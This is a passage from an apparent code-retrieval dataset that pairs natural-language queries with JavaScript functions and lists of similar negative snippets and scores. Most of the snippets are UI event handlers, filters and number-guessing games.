//propage event to next component\\n const evtCustomEvent = new CustomEvent('retreive', {\\n detail: { selectedFieldsValueParam,showComp,isHideObjectScreen}\\n });\\n this.dispatchEvent(evtCustomEvent);\\n }\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case this.constructor.queryAll:\\n me.doFilter(null);\\n break;\\n\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"click(){\\r\\n if ( !this.isDisabled && !this.readnly ){\\r\\n this.getRef('input').focus();\\r\\n if ( this.filteredData.length ){\\r\\n this.isOpened = !this.isOpened;\\r\\n }\\r\\n }\\r\\n }\",\n \"function filterHandler() {\\n\\n // Available checkbox\\n $('#Check0').change(function(){\\n filter.available = this.checked;\\n genericLoad();\\n })\\n\\n // price range filter\\n $('#confirm-filter').click(function() {\\n var min = $('#min-filter').val();\\n var max = $('#max-filter').val();\\n\\n if(($.isNumeric(min) || $.isNumeric(max)) && (min >= 0 && max >= 0)) {\\n filter.minPrice = $.isNumeric(min)? min : filter.minPrice;\\n filter.maxPrice = $.isNumeric(max)? max : filter.maxPrice;\\n genericLoad();\\n }\\n else \\n showNotificationBar(\\\"Per favore, inserisci dei valori positivi\\\");\\n });\\n\\n // reset button\\n $('#reset-filter').click(function() {\\n\\n filter.minPrice = 0;\\n filter.maxPrice = Number.MAX_VALUE;\\n genericLoad();\\n\\n });\\n\\n // review filter\\n $(\\\"input[name='filter']\\\").change(function() {\\n\\n filter.starRating = $(this).val();\\n genericLoad();\\n\\n });\\n\\n}\",\n \"function onSelect(event) {\\r\\n refresh(JSON.parse(event.data));\\r\\n}\",\n \"function filterListener(){\\n $(\\\"#colorFilter\\\").change(function(){\\n populateBikeList();\\n });\\n $(\\\"#statusFilter\\\").change(function(){\\n populateBikeList();\\n });\\n }\",\n \"function bindExistingAlerts() {\\n\\t\\t\\tvar allAlertsCloseBtns$ = jContainer.find(\\\".container-ASWidgetAlert .close\\\");\\n\\t\\t\\tallAlertsCloseBtns$.unbind(\\\"click\\\").on(\\\"click\\\", function(event) {\\n\\t\\t\\t\\t$(event.currentTarget).parents(\\\".container-ASWidgetAlert\\\").first().remove();\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t});\\n\\t\\t}\",\n \"function makeAlerts(){\\n// put event listener for each selected tag\\n var myp = document.querySelectorAll(\\\"#a2 p\\\");\\n for(var i=0; i < myp.length; i++){//loop for the length of the myp array\\n myp[i].addEventListener(\\\"click\\\",showNewAlert);//add a listener for every object in the arry\\n }\\n}\",\n \"function onReportDiagnosticPopupSeeAllBtnClick() {\\r\\n seeAllClicked = true;\\r\\n tau.closePopup();\\r\\n }\",\n \"function alerts (io) {\\n\\tio.of('/alert').on('connection', (USA) => {\\n\\t\\tconsole.log(`United States ready to recieve alerts at ${USA.id}`);\\n\\n\\t\\talertEvent.on('alert', () => {\\n\\t\\t\\tfor (const msg of usaAlerts) {\\n\\t\\t\\t\\tUSA.emit('alert', msg);\\n\\t\\t\\t}\\n\\t\\t\\tusaAlerts = [];\\n\\t\\t});\\n\\n\\t\\tUSA.on('disconnect', () => console.log(`USA disconnected ${USA.id}`));\\n\\t});\\n}\",\n \"constructor() {\\n this.display = document.getElementById('displayRow'); //getting the tbody of our table\\n this.notify = document.getElementById('notification'); //getting the div tag above table to show alerts\\n }\",\n \"function callOnholdRes(d,s) {\\n d = d.data;\\n $(\\\"#onhold-open-popup .onholdres\\\").html(d.content_detail);\\n $('#onhold-open-popup').modal('show');\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n setTimeout(function() {\\n modifyDropDown({selectorClass:'#onhold-open-popup .onholdres #onholdsection',searchAny:true,placeholder:'Search Reason'});\\n },0);\\n hideFullLoader('content_loader');\\n //Added dropDown on change event\\n $('#onhold-open-popup #onholdsection').on('change', function(){\\n if($(this).children('option:selected').val() === 'Please select a reason:'){\\n $('#onhold-open-popup button.btn').addClass('inactive');\\n } else {\\n $('#onhold-open-popup button.btn').removeClass('inactive');\\n }\\n });\\n }\",\n \"handleLookupSelect(event) { \\n this.selectedName = event.detail.Family; \\n this.showoptions=false;\\n \\n }\",\n \"function handleSupp(ev) {\\n console.log(contacts.filter((_) => _.id !== ev.detail.id ));\\n setContacts(contacts.filter((_) => _.id !== ev.detail.id ));\\n }\",\n \"function loadOffers() { // ohne alerts funktionierts nicht =( ... wieso??\\n\\t// reset selectedID (account could have been deleted in meantime)\\n\\t// selectedOffer = null;\\n\\tconnect(\\\"/hiwi/Provider/js/loadOffers\\\", \\\"\\\", handleLoadOffersResponse);\\n}\",\n \"ngOnInit() {\\r\\n //this._auctionListService.getAuctionItems().subscribe(\\r\\n //data => this.auctionItems = data FOR FILTERING \\r\\n //)\\r\\n this.getAuctionItems();\\r\\n }\",\n \"function loadSuccess(ev) {\\n if (ev) {\\n removeAllEventsFromDisplay();\\n cosmo.view.cal.itemRegistry = ev;\\n }\\n cosmo.view.cal.itemRegistry.each(appendLozenge);\\n // Update the view\\n updateEventsDisplay();\\n }\",\n \"function getCategory(e) {\\n filter(e.target.value); //filter function send which button we click\\n if(e.target.value == \\\"all\\\"){\\n bringFoods(); // bringFoods run when we click \\\"all button\\\" & form loaded\\n }\\n\\n}\",\n \"function showEnsFilters() {\\t\\r\\n\\r\\n}\",\n \"function buttonClick(){\\n // Prevent the page from refreshing\\n d3.event.preventDefault();\\n // Create & display new table with filtered/searched data\\n var filtered_table = tableData.filter(ufo_sighting => ufo_sighting.datetime===dateInputText.property(\\\"value\\\"))\\n displayData(filtered_table);\\n}\",\n \"function showGrowerList(e) {\\n viewModel.set(\\\"selectedUserId\\\", e.view.params.userId);\\n initList();\\n }\",\n \"onTriggerClick() {\\n const me = this;\\n\\n if (me.pickerVisible) {\\n me.hidePicker();\\n } else {\\n if (!me.readOnly && !me.disabled) {\\n switch (me.triggerAction) {\\n case comboQueryAll:\\n me.doFilter(null);\\n break;\\n case comboQueryLast:\\n me.doFilter(me.lastQuery);\\n break;\\n default:\\n me.doFilter(me.input.value);\\n }\\n }\\n }\\n }\",\n \"function alerts() {\\n $(\\\"span.top-label.label.label-warning\\\").text(todoItemsData.length);\\n $('.dropdown-alerts').empty();\\n $.each(todoItemsData, (idx, item) => {\\n let i = $('');\\n let span = $('').text( daysLeft(item.date) + ' days left');\\n let div = $('').append(i).append(item.title).append(span);\\n let a = $('')\\n .click( () => {\\n $('.card[data-todoid=\\\"' + item.item_id + '\\\"] .edit-btn').click();\\n })\\n .append(div);\\n let li = $('').append(a);\\n let divider = $('');\\n $(\\\"ul.dropdown-menu.dropdown-alerts\\\").append(li).append(divider);\\n });\\n}\",\n \"function setFilterDisplayObj() {\\n var postArray = ['categoryFilter', 'statusFilter', 'substatusFilter', 'typeFilter', 'subTypeFilter', 'venueFilter', 'lawtypeFilter'];\\n var valKey = ['category', 'statuses', 'substatus', 'type', 'subtypes', 'venues', 'law-types'];\\n var filterObj = {};\\n _.each(postArray, function (val, index) {\\n //get array of current valkey item from masterlist\\n if (val == 'substatusFilter') {\\n var array = extractSubStatus();\\n } else if (val == 'subTypeFilter') {\\n var array = extractSubTypes();\\n } else {\\n var array = angular.copy(self.viewModel.masterList[valKey[index]]);\\n }\\n\\n var appliedFilters = [];\\n //iterate over current selected filters\\n\\n var filterString = self.viewModel.filters[val].toString();\\n _.forEach(filterString.split(','), function (id) {\\n if (utils.isEmptyString(id)) { return; } //if filter id is all/stalled push as is\\n if (id === \\\"all\\\") {\\n appliedFilters.push(id);\\n } else if (id === \\\"stalled\\\") {\\n appliedFilters.push('');\\n } else {\\n // find object from array having the current id\\n var appliedFilter = _.find(array, function (item) {\\n return item.id === id;\\n });\\n\\n if (utils.isEmptyVal(appliedFilter.name)) {\\n appliedFilter.name = \\\"{Blank}\\\";\\n }\\n appliedFilters.push(appliedFilter.name);\\n }\\n });\\n //set the filter obj\\n // filterObj ={name:,value:}\\n filterObj[val] = {};\\n filterObj[val].name = valKey[index].toUpperCase();\\n filterObj[val].data = appliedFilters;\\n });\\n filterObj.orderby = {\\n name: \\\"ORDERED BY\\\",\\n data: [self.getSortByLabel(self.viewModel.filters.sortby)]\\n };\\n\\n //US#5557 Added Include referredOut status in print with Yes/ No ....Start\\n if (self.viewModel.filters.statusFilter == \\\"stalled\\\" || self.viewModel.filters.statusCase == \\\"Stalled\\\") {\\n var includeReferredOutValue = self.viewModel.filters.includeReferredOut == 1 ? 'Yes' : '';\\n filterObj.includeReferredOut = {\\n name: \\\"Include Referred Out\\\",\\n data: [includeReferredOutValue]\\n };\\n\\n filterObj.statusCase = {\\n name: \\\"Stalled\\\",\\n data: [self.viewModel.filters.statusCase]\\n };\\n }\\n\\n var attorneys = self.allUsers[1].attorny;\\n var staffs = self.allUsers[4].staffonly;\\n var paralegals = self.allUsers[3].paralegal;\\n if (utils.isNotEmptyVal(self.viewModel.filters.leadAttorney)) {\\n var userObj = _.find(attorneys, function (user) {\\n return user.uid == self.viewModel.filters.leadAttorney;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.leadAttorney = {\\n name: 'Lead Attorney',\\n data: [userName]\\n };\\n } else {\\n filterObj.leadAttorney = {\\n name: 'Lead Attorney',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.attorney)) {\\n var userObj = _.find(attorneys, function (user) {\\n return user.uid == self.viewModel.filters.attorney;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.attorney = {\\n name: 'Attorney',\\n data: [userName]\\n };\\n } else {\\n filterObj.attorney = {\\n name: 'Attorney',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.staff)) {\\n var userObj = _.find(staffs, function (user) {\\n return user.uid == self.viewModel.filters.staff;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.staff = {\\n name: 'Staff',\\n data: [userName]\\n };\\n } else {\\n filterObj.staff = {\\n name: 'Staff',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.paralegal)) {\\n var userObj = _.find(paralegals, function (user) {\\n return user.uid == self.viewModel.filters.paralegal;\\n });\\n var userName = userObj.name + ' ' + userObj.lname;\\n filterObj.paralegal = {\\n name: 'Paralegal',\\n data: [userName]\\n };\\n } else {\\n filterObj.paralegal = {\\n name: 'Paralegal',\\n data: []\\n };\\n }\\n\\n if (utils.isNotEmptyVal(self.viewModel.filters.doiEnd) && utils.isNotEmptyVal(self.viewModel.filters.doiStart)) {\\n var start = moment.unix(self.viewModel.filters.doiStart).utc().format('MM/DD/YYYY');\\n var end = moment.unix(self.viewModel.filters.doiEnd).utc().format('MM/DD/YYYY');\\n filterObj.doi = {\\n name: 'DOI Range',\\n data: [start + ' - ' + end]\\n };\\n }\\n return filterObj;\\n }\",\n \"function showAlert(alert_id) {\\n hideAlerts();\\n $('#' + alert_id).show();\\n }\",\n \"function showAlert(alert_id) {\\n hideAlerts();\\n $('#' + alert_id).show();\\n }\",\n \"function setupAreaSelectionEventListener() {\\n $(\\\"#area-dropdown .dropdown-menu li a\\\").click(function () {\\n selectedArea = $(this).text();\\n var selText = $(this).text();\\n $(this).parents('.btn-group').find('.dropdown-toggle').html(selText + ' ');\\n clearDoctorDetails();\\n dataTable.rows().every(function (rowIdx, tableLoop, rowLoop) {\\n var data = this.data();\\n if (selText !== \\\"All Cities\\\" && data.area !== selText) {\\n this.node().style.display = \\\"none\\\";\\n } else if (selectedSpeciality == null || selectedSpeciality == data.speciality) {\\n this.node().style.display = \\\"\\\";\\n }\\n });\\n });\\n}\",\n \"showResults(data) {\\n\\n const results = data.airports;\\n\\n console.log(results);\\n\\n let output = \\\"\\\";\\n //The following for will print all the results in our table in the index.html \\n //(saving in variable output)\\n for (let index = 0; index < results.length; index++) {\\n output += \\\"\\\"; //creating a table row element\\n\\n output += \\\"\\\" + results[index].name + \\\" \\\";\\n output += \\\"\\\" + results[index].iata + \\\" \\\";\\n output += \\\"\\\" + results[index].state.type + \\\" \\\";\\n output += \\\"\\\" + results[index].city + \\\" \\\";\\n output += \\\"\\\" + results[index].state.name + \\\" \\\";\\n output += \\\"\\\" + results[index].country.name + \\\" \\\";\\n\\n output += \\\" \\\";\\n }\\n\\n // console.log(output);\\n\\n // Notifying the number of airports found based on the query (in the div tag we get in constructor)\\n this.notify.innerHTML = `\\n \\n `;\\n\\n // TimeOut (It will show the alert for 7 seconds)\\n setTimeout(() => {\\n const currentAlertS = document.querySelector('.is-primary');\\n\\n if (currentAlertS) {\\n\\n currentAlertS.remove();\\n }\\n\\n }, 7000);\\n\\n\\n //putting the data got from restful API into the table\\n this.display.innerHTML = output;\\n }\",\n \"function getAlertAreas(){\\n if($window.localStorage[\\\"authenticated\\\"] !== \\\"null\\\" && $window.localStorage[\\\"authenticated\\\"] === \\\"true\\\" && $window.localStorage[\\\"token\\\"] !== \\\"null\\\" && $window.localStorage[\\\"token\\\"]) {\\n AlertArea_Service.setToken($window.localStorage[\\\"token\\\"]);\\n var alertareas = AlertArea_Service.AlertAreas().get();\\n alertareas.$promise.then(function() {\\n removeAlertAreas();\\n geofenceLayer = L.geoJson(alertareas, {\\n style: function(feature) {\\n return {\\n color: '#3b9972',\\n weight: 2,\\n opacity: 0.6,\\n fillOpacity: 0.1,\\n pk: feature.properties.pk,\\n /*Mark the polygon with it's database id*/\\n objType: 'polygon'\\n }}\\n }).eachLayer(function(layer){alertareaLayer.addLayer(layer);});\\n $scope.map.addLayer(alertareaLayer);\\n $scope.legend.alertAreas = true;\\n }, function(err) {\\n try {\\n $cordovaToast.showShortBottom(\\\"Alert areas could not be retrieved.\\\");\\n } catch (err) {\\n console.log(\\\"Alert areas could not be retrieved.\\\");\\n }\\n })\\n }}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6027999","0.5704662","0.56729025","0.5671811","0.55752796","0.55389655","0.55389655","0.55220586","0.55215806","0.5472647","0.54531014","0.544349","0.5392448","0.5316566","0.5316141","0.5280121","0.5274039","0.5268145","0.5252321","0.52098984","0.52023536","0.5186827","0.51832294","0.5160721","0.5160721","0.516","0.51499045","0.51406646","0.5136927","0.5116341","0.51093304","0.5071003","0.5046768","0.50401634","0.50315094","0.5020471","0.50150204","0.50143373","0.50125945","0.50103587","0.5001244","0.4995273","0.498988","0.49861866","0.49836588","0.49805188","0.49763703","0.49755692","0.4967972","0.49545512","0.4953094","0.49499846","0.49472106","0.4946808","0.4946714","0.49463934","0.4945627","0.4945369","0.49423164","0.49414644","0.49384114","0.49348313","0.49320146","0.49318388","0.49252215","0.49182466","0.49168628","0.49137244","0.4913263","0.49087465","0.49078217","0.4903647","0.49028143","0.4902472","0.49015626","0.49006084","0.48998114","0.48960343","0.48898795","0.48781595","0.4857761","0.48572773","0.4856508","0.4853823","0.48504835","0.4848138","0.48449126","0.48431608","0.4840631","0.48405215","0.4833749","0.48334733","0.48285845","0.48233977","0.48233223","0.4808477","0.4808477","0.47951692","0.4794231","0.47928625"],"string":"[\n \"0.6027999\",\n \"0.5704662\",\n \"0.56729025\",\n \"0.5671811\",\n \"0.55752796\",\n \"0.55389655\",\n \"0.55389655\",\n \"0.55220586\",\n \"0.55215806\",\n \"0.5472647\",\n \"0.54531014\",\n \"0.544349\",\n \"0.5392448\",\n \"0.5316566\",\n \"0.5316141\",\n \"0.5280121\",\n \"0.5274039\",\n \"0.5268145\",\n \"0.5252321\",\n \"0.52098984\",\n \"0.52023536\",\n \"0.5186827\",\n \"0.51832294\",\n \"0.5160721\",\n \"0.5160721\",\n \"0.516\",\n \"0.51499045\",\n \"0.51406646\",\n \"0.5136927\",\n \"0.5116341\",\n \"0.51093304\",\n \"0.5071003\",\n \"0.5046768\",\n \"0.50401634\",\n \"0.50315094\",\n \"0.5020471\",\n \"0.50150204\",\n \"0.50143373\",\n \"0.50125945\",\n \"0.50103587\",\n \"0.5001244\",\n \"0.4995273\",\n \"0.498988\",\n \"0.49861866\",\n \"0.49836588\",\n \"0.49805188\",\n \"0.49763703\",\n \"0.49755692\",\n \"0.4967972\",\n \"0.49545512\",\n \"0.4953094\",\n \"0.49499846\",\n \"0.49472106\",\n \"0.4946808\",\n \"0.4946714\",\n \"0.49463934\",\n \"0.4945627\",\n \"0.4945369\",\n \"0.49423164\",\n \"0.49414644\",\n \"0.49384114\",\n \"0.49348313\",\n \"0.49320146\",\n \"0.49318388\",\n \"0.49252215\",\n \"0.49182466\",\n \"0.49168628\",\n \"0.49137244\",\n \"0.4913263\",\n \"0.49087465\",\n \"0.49078217\",\n \"0.4903647\",\n \"0.49028143\",\n \"0.4902472\",\n \"0.49015626\",\n \"0.49006084\",\n \"0.48998114\",\n \"0.48960343\",\n \"0.48898795\",\n \"0.48781595\",\n \"0.4857761\",\n \"0.48572773\",\n \"0.4856508\",\n \"0.4853823\",\n \"0.48504835\",\n \"0.4848138\",\n \"0.48449126\",\n \"0.48431608\",\n \"0.4840631\",\n \"0.48405215\",\n \"0.4833749\",\n \"0.48334733\",\n \"0.48285845\",\n \"0.48233977\",\n \"0.48233223\",\n \"0.4808477\",\n \"0.4808477\",\n \"0.47951692\",\n \"0.4794231\",\n \"0.47928625\"\n]"},"document_score":{"kind":"string","value":"0.48475093"},"document_rank":{"kind":"string","value":"86"}}},{"rowIdx":9,"cells":{"query":{"kind":"string","value":"1) Generate random number 2) Give user ability to guess 3) If they are wrong guess again, maybe get a hint 4) IF they win say they won"},"document":{"kind":"string","value":"function guessGame() {\n let randomNr = Math.floor(Math.random() * 11);\n console.log(randomNr);\n let guess;\n\n do {\n guess = prompt(\"Guess a number between 1 and 10\");\n console.log(guess, randomNr);\n if (randomNr > guess) {\n console.log(\"You guessed to low\");\n } else if (randomNr < guess) {\n console.log(\"You guessed too high\");\n }\n } while (guess != randomNr);\n console.log(\"You won!\");\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function randomNumber() {\n\tif (getyx(y,x) =='Y3X23' || getyx(y,x) =='Y3X2') {\n\t\tvar randomNumber = (Math.floor(Math.random() * 5) + 1);\n\t\tvar bet = prompt('Please make a wager');\n\t\tvar guess = prompt('Please pick a number from 1 to 5');\n\t\t\tif(parseInt(guess) == randomNumber) {\n\t\t\talert('You just increased your score by ' + bet + ' !')\n\t\t\tscore += parseInt(bet);\n\t\t\tscoreCheck();\n\t\t}\n\t\telse {\n\t\t\talert('Sorry you just lost ' + bet + ' health points :(');\n\t\t\thealth -= parseInt(bet);\n\t\t\tscoreCheck();\n\t\t}\n\t}\n}","function processValidGuess(guess) {\n if (guess < aRandomNumber) {\n $('.result-line').text(\"That is too low\");\n } else if (guess > aRandomNumber) {\n $('.result-line').text(\"That is too high\");\n } else {\n increaseWins();\n increaseMinMax();\n $('.result-line').text(\"BOOM! Click Reset to continue playing\");\n }\n }","function provideHint(){\n\tvar guessesLeft = (5 - (arrayOfGuesses.length));\n\tvar hintArray = [winningNumber];\n\tfor (var i = 1; i < 2*guessesLeft; i++) {\n\t\tvar rand = generateWinningNumber();\n\t\thintArray.push(rand);\n\t}\n\tshuffle(hintArray);\n\tchangeAnn(\"One of these is the answer: \" + hintArray);\n}","function guessing() {\n\tconst guess = Number(document.querySelector(\".guess\").value);\n\t// ----- Invalid input\n\tif (guess < 1 || guess > 20) {\n\t\tchangeText(\".number\", guess);\n\t\tchangeText(\n\t\t\t\".message\",\n\t\t\t\"Invalid value, please select number between 1 and 20\"\n\t\t);\n\t} // ----- Correct Guess\n\telse if (guess === randomNumber) {\n\t\tchangeText(\".number\", randomNumber);\n\t\tdocument.querySelector(\"body\").style.backgroundColor = \"green\";\n\t\tdocument.querySelector(\".number\").style.width = \"30rem\";\n\t\tscore++;\n\t\tchangeText(\".score\", score);\n\t\tchangeText(\".message\", \"You are Correct!\");\n\t\t//Validate that score is higher than highscore and, if true, set highscore\n\t\tscore > highscore ? (highscore = score) : highscore;\n\t\tchangeText(\".highscore\", highscore);\n\t} // ----- Low Guess\n\telse if (guess < randomNumber) {\n\t\tlowHighGuess(\"low\");\n\t} // ----- High Guess\n\telse if (guess > randomNumber) {\n\t\tlowHighGuess(\"high\");\n\t}\n}","function checkGuess(guess) {\n // Write your code here\n if (guess == randomNumber){\n alert(\"You got it!\");\n }\n else {\n alert(\"Try again\");\n }\n }","function enterAGuess(guessedNumbered){\n\n var differenceNum = Math.abs(guessedNumbered - randomNum);\n if (differenceNum == 0){\n \t//alert(\"You did it!\");\n \t$(\"h2\").text(\"You Won!\");\n } \n \telse if (differenceNum >= 50){\n \t\t$(\"h2\").text(\"Colder\");\n \t}\n else if (differenceNum >= 30){\n \t$(\"h2\").text(\"Cold\");\n }\n else if (differenceNum >=20){\n \t$(\"h2\").text(\"Hot\");\n }\n else if (differenceNum >=10){\n \t$(\"h2\").text(\"Hotter\");\n } \n /*---- counting the number of guesses */\n countTrackGuesses(guessedNumbered);\t\n }","function processGuess() {\n var guess = document.getElementById(\"inputText\").value;\n var hint = document.getElementById(\"hintMessage\");\n hint.innerHTML = guess;\n var recent = document.getElementById(\"inputText\").value;\n recentGuess.innerHTML = guess;\n // If the userGuess is lower than the random number the h2 will tell the user their guess is too low.\n if (guess < rand) {\n hint.innerHTML = \"Hint: Your guess is too low, please try again.\"\n };\n // If the userGuess is higher than the random number the h2 will tell the user their guess is too high.\n if (guess > rand) {\n hint.innerHTML= \"Hint: Your guess is too high, please try again.\"\n };\n // If the user guess is equal to the random number the user wins!\n if (guess == rand) {\n hint.innerHTML= \"Congrats, victory is yours!\"\n };\n guess = document.getElementById(\"inputText\").value = \"\";\n}","function guessLogic(guess){\n if (randomNum > guess){\n \tdocument.getElementById(\"userGuess\").innerText = guess;\n \tdocument.getElementById(\"statement\").innerText = \"Your last guess was\";\n \tdocument.getElementById(\"response\").innerText = \"That is too low\";\t\n }\n else if (randomNum < guess ){\n \t\tdocument.getElementById(\"userGuess\").innerText = guess;\n \t\tdocument.getElementById(\"statement\").innerText = \"Your last guess was\";\n \t\tdocument.getElementById(\"response\").innerText = \"That is too high\";\t\n }\n else{\n \t\twinner(guess)\n }\n}","function letsGuess() {\n // sugenereuoti skaiciu nuo 1 iki 10 sveika skaiciu\n let randomNumber = Math.floor(Math.random() * 10) + 1;\n // console.log(\"randomNumber\", randomNumber);\n // paprasyti user input ir patikrtinti ar pataikyta\n let userNumber = prompt(\"Iveskite skaiciu\");\n // console.log(\"userNumber\", +userNumber);\n\n if (randomNumber === +userNumber) {\n console.log(\"Pataikete, sveikinimai\");\n } else {\n console.log(\"Neatspejote, bandykite dar karta. Kompiuteris spejo kad sptesit\", randomNumber);\n }\n}","function checkGuess() {\n\n\tif (playersGuess==winningNumber) {\n\t\t\t$(\"#winner\").text(\"!!! IT'S YOU. YOU WON !!!\");\n\t\t\talert(\"WE HAVE A WINNER!!!\");\n\t\t\t//add some sick congratulatory elements\n\t} else {\n\t\t\tlowerOrHigher();\n\t}\n}","function makeGuess() {\n if (hasGameEnded(guesses, secret)) {\n return;\n }\n if (isValidInput(guess)) {\n setStatus(\"\");\n console.log(\"secret: \" + secret);\n setGuesses(guesses.concat(guess));\n setGuess(\"\");\n setHints(hints.concat(getHint(secret, guess)));\n console.log(\"num guesses: \" + guesses.length);\n } else {\n console.log(\"bad input\");\n setStatus(\"A guess must be a 4-digit unique integer (1-9)\");\n }\n }","function guessFunction(userNum, randomNum) {\n if (userNum === randomNum) {\n boom();\n lastGuessNumber.style.color = \"#1abc9c\";\n guessBtn.disabled = true;\n setRangeValue(minNum -= 10, maxNum += 10);\n } else if (userNum > randomNum) {\n guessText.innerText = \"That is too high\";\n lastGuessNumber.style.color = \"#ed5a64\";\n } else {\n guessText.innerText = \"That is too low\";\n lastGuessNumber.style.color = \"#ed5a64\";\n }\n}","function guessingGame() {\n\tvar randomNumber = Math.ceil(20 * Math.random());\n\tvar guess = Number(prompt(\"Try a number between 1 and 20!\"));\n\tvar numTries = 1;\n\tif (guess === randomNumber) {\n\t\talert(\"Congratulations! You guessed correctly on the first try.\");\n\t}\n\twhile (guess !== randomNumber) {\n\t\tguess = Number(prompt(\"Try again.\"));\n\t\tnumTries++;\n\t\tif (guess === randomNumber) {\n\t\t\talert(\"Congratulations! It took you \" + numTries + \" tries.\");\n\t\t\treturn(guess);\n\t\t}\n\t}\t\n}","function checkGuess(){\r\n guesstext=guesstext.toUpperCase();//country array is in upper case, so change guess to uppercase\r\n if(guesstext==answer){//if the guess was correct\r\n answer=pickAnswer();//find a new answer\r\n chances=3; score+=10; guess.value=\"\";//reset chances to 3, add 10 to score and clear guess input field\r\n alert(guesstext+\"! You're right!\");//congratulate the user\r\n }\r\n else{chances-=1; guess.value=\"\";//guess is not correct, subtract one chance and clear the input field\r\n if(chances>0){alert(\"Nope. Try again.\");}//if there are chances left, ask user to try again\r\n }\r\n showGui();// turns on the engine and updates info\r\n }","function guess() {\n\n // WRITE YOUR EXERCISE 4 CODE HERE\n let number=Math.floor(Math.random()*999)+1;\n let attempts=0;\n let correct_answer = false;\n while (correct_answer==false) {\n let guess=prompt('enter your guess')\n if(guess>=1 && guess<=1000 && Number.isInteger(Number(guess))){\n console.log(\"1\");\n if (number==guess){\n attempts++;\n correct_answer=true;\n alert(\"Correct Answer!\")\n document.getElementById('guess-output').innerHTML=\"Number: \"+number+\"Attempts: \"+attempts;\n }\n else if(guess>number){\n attempts++;\n alert(\"too high\")\n }\n else if(guess0;i--){\n\t\thintarr.push(Math.ceil(Math.random()*100));\n\t}\n\thintarr=shuffle(hintarr);\n\t$(\"#message\").text(hintarr);\n\n}","function checkGuess() {\n\t\tplayersGuessSubmission();\n\t\t//check win\n\t\tif (winningNumber === playersGuess) {\n\t\t\t$(\".thermometer\").html (\"\"+playersGuess+\"°\")\n\t\t\t$(\"#therm\").removeAttr('class');\n\t\t\t$(\"#therm\").addClass(\"thermometer scorching\");\n\t\t\t$(\".text\").append (\"
You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse if (userguess < randomnum) {\n\t\t\t countClicks++;\n result =\"Your guess of \" + userguess + \" is lower than the magic number.
You have had \" + countClicks + \" guesses so far.\";\n\t\t \n } \n\t\telse {\n\t\t\tcountClicks++;\n result = \"Success, You win! You took \" + countClicks + \" guesses.\";\n\t\t\t\n } \n// SENDS THE RESULT TO THE DOM\n\t document.getElementById(\"result\").innerHTML = result;\n\t\n} //END OF FUNCTION - dont delete!","function userGuess(){\n var input = parseInt($(\"#userGuess\").val());\n var feedback = [\"Congrats you won! Click New Game to start another game\", \"Please enter a number\", \"Pick a number btw 1-100\", \"Very Hot\", \"Hot\", \"Warm\", \"Cold\", \"Very Cold\", \"Cold as Vanilla Ice's career\"]\n if (input == random) {\n updateFeedback(feedback[0]);\n } else if (input >= 101 || input == 0) {\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n updateFeedback(feedback[2]);\n } else if (random - 5 <= input && input <= random + 5) {\n updateFeedback(feedback[3]);\n } else if (random - 10 <= input && input <= random + 10) {\n updateFeedback(feedback[4]); \n } else if (random - 15 <= input && input <= random + 15) {\n updateFeedback(feedback[5]);\n } else if (random - 25 <= input && input <= random + 25) {\n updateFeedback(feedback[6]);\n } else if (random - 30 <= input && input <= random + 30) {\n updateFeedback(feedback[7]);\n } else if (isNaN(input)) {\n updateFeedback(feedback[1]);\n $(\"#userGuess\").val(\"\");\n $(\"#count\").text(--i);\n } else {\n updateFeedback(feedback[8]);\n }\n }","function isGuessCorrect(randomNumber, answer) {\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\n if (numberGuessed < numberOfGuessesAllowed) {\n //condition that checks if the guess is lesser than the goal\n if (answer > randomNumber) {\n setTimeout(function () {\n $(\"#guess\").html(`\n `);\n $(\"#restartgame\").click(function () {\n location.reload();\n });\n }, 1000);\n }\n //call back function that displays the number of times the user has guessed as an animation on screen\n setTimeout(function () {\n $(\"#numberofguesses\").html(`\"\n );\n}\n else { \n $(\"#guess-image\").html(\n \"daniel-pascoa-253357-unsplash.jpg>\"\n);\n } \n if ( result===randomGuess){\n wins++;\n $(\"#win-lose\").html(\"
It just got harder.
Minimum is 10 lower.
Maximum is 10 higher.`);\n $(\"#error\").show();\n // win message\n return \"BOOM!\"\n }\n}","function guessNumber(){\nvar programNumber = Math.ceil(Math.random() * 10);\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\n if (userNumber == programNumber)\n alert('Matched');\n else\n alert('Not matched');\n}","function playGuessGame() {\r\n\r\n var chance = 0;\r\n var numToGuess = generateRandomNum();\r\n \r\n while (chance < 3) { // given 3 chances\r\n \r\n chance++;\r\n var userGuess = prompt(\"Your Guess: \"); // taking guess (input) from the user\r\n if (userGuess === numToGuess) {\r\n console.log(\"You're Right. You've Won!!\");\r\n }\r\n else {\r\n console.log(\"Try Again...\");\r\n }\r\n\r\n var playAgain = false;\r\n\r\n if (chance === 3) {\r\n var askUser = prompt(\"Do You Want To Play Again? (Yes/No)\");\r\n askUser = askUser.toLowerCase();\r\n \r\n if (askUser === \"yes\") {\r\n playAgain = true;\r\n chance = 0; // to reset the game\r\n }\r\n else if (askUser === \"no\") {\r\n playAgain = false;\r\n console.log(\"Thank You For Playing With Us Today!\");\r\n }\r\n }\r\n \r\n\r\n\r\n }\r\n\r\n}","function question6() {\n var correctNumber = Math.floor(Math.random() * 30);\n var attempts = 4;\n while (attempts !== 0){\n\n var guessNumber = prompt('Let\\'s get serious. 